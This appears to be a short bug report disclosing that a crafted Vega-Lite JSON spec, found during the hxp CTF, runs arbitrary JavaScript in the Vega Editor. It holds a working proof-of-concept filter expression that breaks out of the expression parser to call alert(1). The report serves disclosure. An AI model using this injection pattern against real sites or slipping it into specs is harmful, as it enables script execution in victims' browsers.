This was found during the hxp ctf.

Credit

@cgvwzq and his writeup

• Describe how to reproduce the bug / the goal of the feature request:
  Paste the below JSON in the Vega Editor.
  Working demo.
  You will see a '1' alert dialog.
  To my understanding you should not be able to run arbitrary JS using vega-lite json, should you?
• Provide an example spec in JSON, wrapped by triple backticks like this:

{
  "data": {
    "values": [{}]
  },
  "transform": [
    {"filter": "(0//1/)-'\\\n,alert(1))))//'"}
  ],
  "mark": "bar"
}